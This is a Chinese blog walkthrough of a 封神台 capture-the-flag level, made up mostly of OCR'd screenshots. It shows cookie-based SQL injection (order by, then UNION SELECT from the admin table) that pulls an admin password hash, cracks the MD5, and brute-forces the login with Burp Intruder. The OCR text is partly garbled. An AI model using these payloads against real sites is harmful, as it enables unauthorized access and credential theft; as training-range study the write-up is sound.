# 封神台-第二章 尤里的复仇

# 原创

 ploto\_cs

 于 2020-09-26 11:23:37 发布

 1421 か 收藏

 分类专栏:
 # 封神台 文章标签:
 信息安全

 版权声明:
 本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

 本文链接:
 https://blog.csdn.net/ploto\_cs/article/details/108809704

 版权



封神台专栏收录该内容

4 篇文章 0 订阅 订阅专栏 封神台-第二章 尤里的复仇 1.

Custo	mer Case			-TAMP Company Profile	
掌控安全学院		·美国机械业巨头米拉克龙裁员1	[ 2009-8-24 ]	[详细]	
黑客安全渗	透体系课程	·2009将加快机械工业发展的	[ 2009-8-24 ]		
现在点击免	费学!	·上海凡太克工程机械有限公司增	[2009-8-24]		
		·我国直优先发展的几种包装机械	[ 2009-8-24 ]		
		·如何科学选购定制的包装机械	[ 2009-8-24 ]		
		·我国真空包装机械行业市场潜力	[2009-8-24]		
		■ 作品展示 Product			
起择一条新闻动态					
	·2009将加	加快机械工业发展的		[ 2009-8-24 ]	

i-labs 🖨 DVWA 🖨 pikachu 🖨 upload-la	ibs 🕒 bing 🙂 封神台 - 攀控安全在 🗘 SQL注入税场sqli-lab
福建博力 FUJIAN BOJIN	的雕塑脱胎漆器有限公司 DIAOSHU TUOTAIOIOU LIMITED COMPANY
Non	网络首页   关于我们   产品中心   新闻中心   客户案例   在线留吉   联系我们
- 新闻中心	■ 2009将加快机械工业发展的步伐
·企业新闻	2009席加快机械工业发展的步化
行业新闻	
·技术资料	发布着: admin 发布的问: 2009-8-24 13:33:33 陶读: 852次
产品问答	目前我国机械制造业不管是在技术升级上,还是地域选择上都有很大的发展空间和竞争优势。一直以来,我国工 业增长速度与发达国家相比都有着很大的差距,而此反发达国家受金融危机的影响,对发展中国家来说提供了赶
资质证书 <mark>0 点曲进</mark>	超的机会
業技安全学院	打印本页    关闭窗口
混合女主律 <b>应</b> 体录味 現在点击 <mark>免费</mark> 学!	https://blog.csdn.net/ploto_cs

# 发现出现交互界面 url中id=170 存在注入点

### 3.判断字段数

# ?id=170+order+by+10

0 🔏 59.63.200.79:800	l/shownews.asp?id=170	+order+by+10			器 … 合	lin e
abs 🖨 DVWA 🖨 pikachu 🖨	upload-labs 🖨 bing 🔘	封神台 - 掌控安全在 3	SQL注入靶场sqli-lab	<b>)</b>		
福	建博均雕塑脱胎	诊漆器有限公司	330	(STATION OF		
FUJ	AN BOJUN DIAOSHU TUOTA	ATQTQU LIMITED COMPANY				
Fuj	AN BOJUN DIAOSHU TUOT. 网站首页 I	ATGIQU LIMITED COMPANY 关于我们 I 产品中心	新闻中心	客户案例 1 3	在线留言 ! 联系我们	de la constanción de
FUJ * 新闻中心	AN BOJUN DIAOSHU TUOTA 网站首页 I	メートローレー ビーバードモウ COMPANY 关于我们   产品中心 2009将加快机械工业发展	1 新賀中心 1 的步伐	客户案例   2	生线留言   联系我们	sko

# ?id=170+order+by+11

hilts.		网站首页	关于我们	1 产品中	NO I	新闻中心	1	客户案例	Ιđ	E线留言	联系	<b>系我们</b>	
i	福建博均開 FUJIAN BOJUN DI	睢塑脱朋 IAOSHU TUO	台漆器存 TAIQIQU LI	可限公司 MITED COMP	E) PANY	200	9						
A 💮 pikachu	💮 upload-labs	🕀 bing 🛛	對神台-掌	控安全在…	S SQ	L注入靶场sqli	-lab						
59.63.200.79:8	004/shownews	s.asp?id=17	0+order+b	y+11							鬷 …	•• 合	
	59.63.200.79:8 A 🌐 pikachu	59.63.200.79:8004/shownews A ⊕ pikachu ⊕ upload-labs 福建博均 FUJIAN BOJUN D	59.63.200.79:8004/shownews.asp?id=17 A ⊕ pikachu ⊕ upload-labs ⊕ bing 및 福建博均雕塑脱別 FUJIAN BOJUN DIAOSHU TUO	59.63.200.79:8004/shownews.asp?id=170+order+by A @ pikachu @ upload-labs @ bing 図 封神台-罩 福建博均離塑脱胎漆器存 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LI	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A ⊕ pikachu ⊕ upload-labs ⊕ bing ₪ 封神台- 掌控安全在 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LIMITED COMP	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A ⊕ pikachu ⊕ upload-labs ⊕ bing ₪ 封神台-蒙拉安全在 ふ SQ 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LINITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A @ pikachu @ upload-labs @ bing 図 封神台 - 蒙拉安全在… ふ SQL注入範疇sqli 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LINITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A ● pikachu ● upload-labs ● bing ❷ 封伸台 - 蒙控安全在 A SQL注入耙场sqli-lab 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUDTAIQIQU LINITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A @ pikachu @ upload-labs @ bing ₪ 封神台-蒙控安全在 ④ SQL注入耙场sqli-lab 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LINITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A ● pikachu ● upload-labs ● bing ❷ 封伸台 - 蒙控安全在 A SQL注入靶场sqli-lab 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUDTAIGIQU LIMITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 A ④ pikachu ④ upload-labs ④ bing ④ 封伸台 - 蒙拉安全在 ④ SQL注入肥场sqli-lab 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LIMITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11 器 ↔ A ④ pikachu ④ upload-labs ④ bing ④ 封神台 - 萝拉安全在 ④ SQL注入耙场sqli-lab 福建博均雕塑脱胎漆器有限公司 FUJIAN BOJUN DIAOSHU TUOTAIQIQU LINITED COMPANY	59.63.200.79:8004/shownews.asp?id=170+order+by+11

#### 4.使用modheader



#### 直接在url中输入 报错



第一个字段写cookie 第二个字段 id=170+UNION+SELECT+1,2,3,4,5,6,7,8,9,10+from+admin

#### 5.在url中输入http://59.63.200.79:8004/shownews.asp

	0	🔏 59.	63.200.79:8004/showney	vs.asp					8	三 … 合	III\		Θ
labs	۲	DVWA	🖨 pikachu 🖨 upload-lab	s 💮 bing	◎ 封神台 - 徽	控安全在 34 9	SQL注入靶场sqli-la	b					
			福建博均 FUJIAN BOJUN	雕塑脱 DIAOSHU TU	胎漆器有 IOTAIQIQU LII	限公司 MITED COMPANY	25.50	(Server					
		Bet		网站首页	1 关于我们	1 产品中心	1 新闻中心 1	客户案例	在线留言	联系我们	and and	1	
			■ 新闻中心		2		149 19 T	Contraction of the	NO. SPACE				
			·企业新闻					2					
			行业新闻					-					
			-技术资料				发布者:	7 发布时间: (	3 阅读: 9次				
			产品问答		3								
			资质证书							\$TE	和本页    关闭窗口		
		*	控安全学校 黑客安全渗透体系课程 现在点击 <mark>免费</mark> 学!						https:	://blog.c:	sdn.net/plo	to	cs

没有报错,并且看到存在admin表,2.3.7.8.9处可以添加查询字段,可以输入username和password 6.重新构造modheader

	0 🔏 59.63.200.79:8004/show	news.asp	鬷 … ☆
labs	DVWA Dikachu Dupload-	labs 🔀 bing 🝯 封神台 - 掌控安全在 🖓 SQL注入耙场sqli-lab	
	福建博 FUJIAN BOJ	均雕塑脱胎漆器有限公司 IN DIAOSHU TUOTAIQIQU LIMITED COMPANY	
	Bar.	网站首页   关于我们   产品中心   新闻中心   客户案例	在线留言   联系我们
	▶ 1 新闻中心	admin	
	企业新闻	admir	
	行业新闻		
	-技术资料	友布書: / 友布时间	:8周读:9次
	产品问答	b9a2a2b5dffb918c	
	资质证+ ② 点由 菜技安全学院 黑客安全渗透体系)		打印本页    关闭窗口 https://blog.csdn.net/ploto_cs

#### 2处显示 username admin

3处显示password b9a2a2b5dffb918c

#### 7.password经过md5解密后

	密文: b9a2a2	b5dffb918c		
	樂型: 目初	查询	【范 加密	5助]
查询结果:				
welcome				

#### 8.登录59.63.200.79:8004/admin

1	0	<b>%</b> =0	59.63.200.7	<b>'9</b> :8004/admin/	Login.asp	)					鬷	•••	☆		lif/	(
bs	0	DVWA	🖨 pikachu	🖨 upload-labs	) bing	ø	封神台 - 掌控安全在	J, SQUEAN	5场sqli-lab							
								金业网站管3	里系统							
									管理员登录	Ł						
							$\cap$	用户名称:	admin							
							( ) ( )	用户密码:	•••••							
								验 证 码:	4034 清在 4034	左边输入						
									确认	清除						
										https://k				net/ploto		

Username: admin Password:welcome

#### 突发奇想,虽然不正规哈哈哈哈

#### 假设已知后台登录登录网址为59.63.200.79:8004/admin

且用户名已知为admin

## 直接使用bp爆破密码

1.任意输入密码,抓包

15 UserName=adminsPassword=123456sCheckCode=6626sSubmit=+%C8%B7%26%23160%3B%C8%25PS://blog.csdn.net/ploto\_cs

#### 2.发送至intruder

Target Positions Payloads Options								
⑦ 攻击目标								
Configure the details of the target for the attack.								
主机: 59.63.200.79								
端口: 8004								
☐ 使用HTTPS								

#### Target Positions Payloads Options

# ⑦ 有效负载位置

1.4.2.4.6.6							
nfigure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help for full details.							
攻击失型: _ 狙击手(Sniper)							
1 POST /admin/Admin_ChkLogin.asp HTTF/1.1 2 Host: 59.63.200.79:004							
S Ower-Agenc: horitad 3:0 (windows wr 10:0) winder Xedy IV:00.0) (wetch/outoble FiretoXed. 4 Accept: East/Hail, application/Xitai+awa, application/xuliq=0.5, simage/webp.+*/s q=0.8 5 Accept-Language: zh=CN,zh:q=0.8,zh=TN;q=0.7,zh=HK:q=0.5,en=U8:q=0.3,en:q=0.2 6 Accept=Encoding: grip, deflate	U						
7 Content-Type: application/x-www-form-urlencoded 8 Content-Length: 79 9 Origin: http://59.63.200.79:8004							
10 Connection: close 11 Referer: http://59.63.200.79:8004/admin/Login.asp 12 Cookie: ASPESSIONIDOACCRCBS=DLJEIHDLJEDCEFOHHELFJIP							
13 Upgrade-Insecure-Requests: 1 14 5. Destlongende in Spannen de El 2016 State Charles of 26 Submit autority 25 State 2016 State 2017	https://blog.esdn.net/ploto_es						
TO ORE FAULE - GOVETHE EGOR AD FOLLET - BITTO AD							

## 标记密码处

#### Payload处添加自己的密码本

Targ	et Positions Payloads Op	ptions			
(?) ()	<mark>请求标头</mark> These settings control whether In ☑ 更新Content-Length标头 ☑ 设置连接,关闭	ntruder updat	es the configured request headers durin	g attacks.	
(? ()	<mark>請求引擎</mark> These settings control the engine 线程数, 网络错误的重式次数, 重试前暂停(ms);	e used for ma 10 3 2000	aking HTTP requests when performing a	itacks.	
	重量 (ms) , ● 固定	0 0	留量 30000		

#### 这里调整线程数为10

攻击 保存 列								
Results	Target	Positions	Payloads	Options	]			
过滤器: 显示所有项目								
请求 🔺	▲ 有效载荷			态	错误	超时	长度	评论
0				00			791	
1	admin			00			791	
2	root			00			791	
3	welcome			02			360	
4	123456			00			791	

可以显示结果为welcome 3.登录拿key

网络信息安全-ploto